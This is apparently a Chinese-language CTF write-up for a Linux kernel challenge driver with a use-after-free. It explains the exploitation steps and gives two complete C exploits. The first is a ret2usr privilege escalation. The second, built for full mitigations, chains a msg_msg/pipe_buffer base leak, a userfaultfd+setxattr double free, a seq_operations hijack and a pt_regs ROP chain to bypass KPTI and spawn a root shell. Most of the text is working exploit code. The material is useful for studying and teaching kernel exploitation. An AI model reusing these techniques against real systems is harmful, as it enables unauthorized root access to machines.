有0x400的uaf 和 能直接指定地址跳转的后门
exp1
条件:没开aslr smap smep 直接用后门跳用户代码提权并退出内核态
#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> size_t user_cs,user_ss,user_rflags,user_sp; size_t commit_creds=0xffffffff810c5010,prepare_kernel_cred=0xffffffff810c5270; size_t getshell_addr; void save_status() { __asm__( "mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("[*] status has been saved."); } void com(){ __asm__( "push rax;" "push rdi;" "mov rax, 0xffffffff810c5270;" "mov rdi, 0;" "call rax;" "mov rdi, rax;" "mov rax, 0xffffffff810c5010;" "call rax;" "mov rax, getshell_addr;" "push user_ss;" "push user_sp;" "push user_rflags;" "push user_cs;" "push getshell_addr;" "swapgs;" "iretq;" "ret;" ); } void getshell(){ if(!getuid()){ puts("[*]Root now"); system("/bin/sh"); } else{ puts("not root yet"); } } int main() { save_status(); int fd = open("/dev/uaf_device", 2); if (fd<0) perror("open"); char buf[0x500]; memset(buf, 0, 0x500); getshell_addr = (size_t)getshell; *(size_t *)buf = (size_t)com; write(fd, buf, 0x8); read(fd, buf, 0); return 0; }
exp2
条件:保护全开
首先在存在 UAF 的 object 下方布置 pipe_buffer ,使用 msg_msg 占位,修改m_ts字段泄露pipe_buffer 中的 pipe_buf_operations 地址来泄露基址
之后通过 msg_msg 构造 double free
如下所示红色为利用 UAF 控制的 msg 结构体,下方有一个紧挨着的msg,同时由于使用相同 qid 发送了第二段长度为0x1018-0x30的消息,第二段消息会使用ll_prev链接;第二段消息多出来0x18内容会申请到 kmalloc-32 大小 object ,由开头8字节 next 指针和0x18字节真实内容组成
此时能够通过控制的 msg obj 越界读泄露ll_prev地址,再伪造 next 和 m_ts 做任意地址读,获取到第二段消息的 next 指针,即图中紫色 kmalloc-32 大小的 obj 地址。再将控制的 msg 的 next 覆盖指向 kmalloc-32 的 obj,从而构造出两个 msg 的 next 指向同一个 msg_msgseg,后续释放消息即可构造出 double free

实际过程中,有几个需要额外注意的地方:
- 释放第二段 msg 需要先接收前一段 msg ,不加
MSG_COPY即可释放 - 接收并释放过程中存在
__check_object_size,利用 UAF 控制的 msg 的m_ts字段需要恢复为原值(0x400-0x30);但不影响其继续释放 next 指针指向的msg_msgseg - 最重要的一点,需要控制
msg_msgseg开头的8字节 next 指针为NULL。store_msg中会沿着 next 单向链表执行copy_to_user复制东西,如果不控制其为NULL,当第二次 free 时会有异或处理的 freelist_ptr 残留造成crash
使用userfault+setxattr覆盖被释放的 msg_msgseg fd指针为 NULL
setxattr可以直接写值,调用链SYS_setxattr()->path_setxattr()->setxattr()
size 和 value 均可控
static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { //... kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { //,.. kvfree(kvalue); return error; }
控制 setxatrr 调用申请回 victim obj 后先覆写前8字节为0,继续 copy 时触发缺页卡住,然后通过 msg 释放掉 victim obj,再控制先释放一个其他 obj 避免检测到 double free,最后再放行刚才卡住的 setxatrr,使其继续执行释放掉刚才申请到的 victim obj,完成double free
victim obj -> A -> victim obj

在实操过程中发现可能 pthread_create创建线程会申请掉 kmalloc-32 的obj,故需要进行一定布置
另外exp中使用全局变量完成线程和当前进程的同步,确保释放顺序得当
完成double free后,最后利用 seq_operations+setxatrr控制执行流,结合pt_regs rop 提权
seq_operations结构为
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
read函数最终能调用到seq_operations->start
通过setxatrr覆盖该函数指针为add rsp xxxx, ret,并在缺页中调用read触发
pt_regs结构

定义
struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_rax; /* Return frame for iretq */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ };
pt_regs布置 rop 中swapgs_restore_regs_and_return_to_usermode中对cr3赋值来绕过kpti,并返回用户态。具体跳转位置根据栈情况确定,要保证开始执行多个 pop 后的mov rdi,rsp时栈顶有两个无关值,且下一个是rip cs xxxx这些值

这样在swapgsxxxx这个gadget最后的两个pop后正好是从而返回用户态
swapgs xxx iretq
完整exp
#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/msg.h> #include <mqueue.h> #include <sys/xattr.h> #include <linux/userfaultfd.h> #include <poll.h> #include <stdint.h> #include <pthread.h> #include <sys/syscall.h> #define PAGE_SIZE 0x1000 size_t user_cs,user_ss,user_rflags,user_sp; size_t commit_creds=0xc5010,prepare_kernel_cred=0xc5270; size_t init_cred = 0x165f5a0; size_t mov_cr4_rdi = 0; size_t swapgs_popfq_r = 0; size_t mov_rdi_rax_ret = 0; size_t add_rsp = 0x86739f; size_t ireq_ret = 0; size_t prdi_r = 0x88850, prbx_r = 0x6d15f; size_t kobase = 0; size_t vmbase = 0; size_t canary = 0; size_t swapgs_restore_regs_and_return_to_usermode = 0xc009f4+16; size_t heap_addr = 0, llprev_addr, llnext_addr = 0, victim_addr = 0; int real_qid; pthread_t hthr[20]; char received[0x2000]; size_t release_cnt=0; size_t setxa_can_release = 0; size_t msg_can_release = 0; int fd_stat[20]; void ErrExit(char* err_msg) { puts(err_msg); exit(-1); } void save_status() { __asm__( "mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("[*] status has been saved."); } typedef struct { long mtype; char mtext[1]; }msg; typedef struct { void *ll_next; void *ll_prev; long m_type; size_t m_ts; void *next; void *security; }msg_header; int get_msg_queue() { return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); } void getshell(){ if(!getuid()){ puts("[*] Root now"); system("/bin/sh"); } else{ puts("not root yet"); } } void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); } void register_userfault(void *fault_page,void *handler) { pthread_t thr; struct uffdio_api ua; struct uffdio_register ur; uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ua.api = UFFD_API; ua.features = 0; if(ioctl(uffd, UFFDIO_API, &ua) == -1) ErrExit("[-] ioctl-UFFDIO_API error"); ur.range.start = (unsigned long)fault_page; // the area we want to monitor ur.range.len = PAGE_SIZE; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread ErrExit("[-] ioctl-UFFDIO_REGISTER error"); // open a thread, receive the wrong signal, and the handle it int s = pthread_create(&thr, NULL, handler, (void*)uffd); if(s!=0) ErrExit("[-] pthread-create error"); } void *userfault_hijack_handler(void *arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long)arg; struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if(nready != 1) ErrExit("[-] wrong poll return value"); nready = read(uffd, &msg, sizeof(msg)); if(nready<=0) ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(page == MAP_FAILED) ErrExit("[-] mmap error"); struct uffdio_copy uc; puts("[+] hijack handler created"); puts("[+] tigger.."); prdi_r += vmbase; prbx_r += vmbase; init_cred += vmbase; prepare_kernel_cred += vmbase; commit_creds += vmbase; swapgs_restore_regs_and_return_to_usermode += vmbase; char tmp_buf[0x10]; // fix corrupted freelist for(int i = 10; i < 20; i++) close(fd_stat[i]); int target_fd = fd_stat[2]; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, prdi_r;" "mov rbp, init_cred;" "mov rbx, prbx_r;" "mov r11, 0x99999999;" "mov r10, commit_creds;" "mov r9, swapgs_restore_regs_and_return_to_usermode;" "mov r8, 0;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, [fd_stat+4*2];" "syscall" ); getshell(); // init page memset(page, 0, sizeof(page)); uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uc.len = PAGE_SIZE; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); puts("[+] hijack handler done"); } void *userfault_setzero_handler(void *arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long)arg; struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if(nready != 1) ErrExit("[-] wrong poll return value"); nready = read(uffd, &msg, sizeof(msg)); if(nready<=0) ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(page == MAP_FAILED) ErrExit("[-] mmap error"); struct uffdio_copy uc; int my_idx = release_cnt; printf("[+] setzero handler %ld created\n", release_cnt++); while(my_idx==0){ if (release_cnt==3 && setxa_can_release==1){ printf("[+] setzero handler %d out\n", my_idx); break; } } while(my_idx==1){ msg_can_release=1; if (release_cnt==2 && setxa_can_release==1){ release_cnt++; printf("[+] setzero handler %d out\n", my_idx); break; } } // init page memset(page, 0, sizeof(page)); uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uc.len = PAGE_SIZE; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); puts("[+] setzero handler done"); } void *setxattr_handler(void *arg){ char* addr = (char*)arg; setxattr("/exp", "ay", addr+ PAGE_SIZE - 8, 0x20, 0); } int main() { bind_core(0); save_status(); int fd = open("/dev/uaf_device", 2); if (fd<0) perror("open"); char buf[0x500]; memset(buf, 0, 0x500); int leak_qid[8], pipe_fd[8][2]; char msg_buf[0x2000]; char *hack_buf[20]; msg *message = (msg *)msg_buf; memset(msg_buf, 0, 0x2000); memset(received, 0, 0x2000); for(int i = 10; i < 20; i++){ fd_stat[i] = open("/proc/self/stat", O_RDONLY); } for(int i = 0; i < 3; i++){ if (pipe(pipe_fd[i]) < 0) { perror("[-] pipe"); exit(-1); } write(pipe_fd[i][1], "pwn", 3); } write(fd, buf, 0); for(int i = 3; i < 8; i++){ if (pipe(pipe_fd[i]) < 0) { perror("[-] pipe"); exit(-1); } write(pipe_fd[i][1], "pwn", 3); } ioctl(fd, 0, 0); real_qid = get_msg_queue(); message->mtype = 1; memset(message->mtext, 'Z', 0x400-0x30); msgsnd(real_qid, message, 0x400-0x30, 0); ((msg_header*)buf)->m_type = 0x1; ((msg_header*)buf)->m_ts = 0x1000-0x30; write(fd, buf, 0x20); msgrcv(real_qid, received, 0x1000-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); vmbase=*(size_t*)(received+0x410-0x30+8)-0x1064f40; printf("[+] vmbase 0x%llx\n", (long long)vmbase); for(int i = 0 ; i < 8; i++){ close(pipe_fd[i][0]); close(pipe_fd[i][1]); } for(int i = 0 ; i < 8; i++){ leak_qid[i] = get_msg_queue(); message->mtype = 1; memset(message->mtext, 'A'+i, 0x400-0x30); memset(message->mtext+0x400-0x30-0x10, '\x00', 0x10); msgsnd(leak_qid[i], message, 0x400-0x30, 0); } for(int i = 0 ; i < 8; i++){ memset(message->mtext, '0'+i, 0x1018-0x30); memcpy(message->mtext, "ayoung", 6); msgsnd(leak_qid[i], message, 0x1018-0x30, 0); } msgrcv(real_qid, received, 0x1000-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); llprev_addr = *(size_t*)(received+0x400-0x30+8); llnext_addr = *(size_t*)(received+0x400-0x30+0x10); printf("[+] llprev_addr 0x%llx\n", (long long)llprev_addr); printf("[+] llnext_addr 0x%llx\n", (long long)llnext_addr); ((msg_header*)buf)->ll_next = (void*)llnext_addr; ((msg_header*)buf)->ll_prev = (void*)llnext_addr; ((msg_header*)buf)->m_ts = 0x1500-0x30; ((msg_header*)buf)->next = (void*)(llprev_addr-0x8); write(fd, buf, 0x28); msgrcv(real_qid, received, 0x1500-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); heap_addr = *(size_t*)(received+0x1000-0x30+0x20+0x8); // kmalloc-32 printf("[+] heap_addr 0x%llx\n", (long long)heap_addr); ((msg_header*)buf)->next = (void*)(heap_addr); write(fd, buf, 0x28); msgrcv(real_qid, received, 0x1500-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); int _index = *(char*)(received+0x1000-0x30+0x8) -0x30; printf("[+] get index: %d\n", _index); for(int i = 0 ; i < 2; i++){ hack_buf[i] = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *(size_t*)(hack_buf[i] + PAGE_SIZE - 8) = 0x0; register_userfault(hack_buf[i]+PAGE_SIZE, userfault_setzero_handler); } hack_buf[2] = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfault(hack_buf[2]+PAGE_SIZE, userfault_hijack_handler); *(size_t*)(hack_buf[2] + PAGE_SIZE - 8) = add_rsp+vmbase; printf("[+] first free victim msg_msg\n"); msgrcv(leak_qid[_index], received, 0x400-0x30, 0, IPC_NOWAIT | MSG_NOERROR); msgrcv(leak_qid[_index], received, 0x1018-0x30, 0, IPC_NOWAIT | MSG_NOERROR); int cnt = 0; for(int i = 0 ; i < 8; i++){ if(i!=_index){ printf("[+] free padding msg_msg\n"); msgrcv(leak_qid[i], received, 0x400-0x30, 0, IPC_NOWAIT | MSG_NOERROR); msgrcv(leak_qid[i], received, 0x1018-0x30, 0, IPC_NOWAIT | MSG_NOERROR); cnt++; } if (cnt==2) break; } sleep(1); printf("[+] set zero through setxattr\n"); for(int i = 0; i < 2; i++){ int s = pthread_create(&hthr[i], NULL, setxattr_handler, (void*)hack_buf[i]); if(s!=0) ErrExit("[-] pthread-create error"); } // fix m_ts ((msg_header*)buf)->m_ts = 0x400-0x30; write(fd, buf, 0x28); while(msg_can_release==0){} printf("[+] second free victim msg_msg\n"); msgrcv(real_qid, received, 0x1000-0x30+0x18, 0, IPC_NOWAIT | MSG_NOERROR); setxa_can_release=1; sleep(1); // 2 4 for(int i = 0; i < 4; i++){ printf("[+] fd_stat: %d\n", i); fd_stat[i] = open("/proc/self/stat", O_RDONLY); } setxattr("/exp", "ay", hack_buf[2] + PAGE_SIZE - 8, 0x20, 0); return 0; }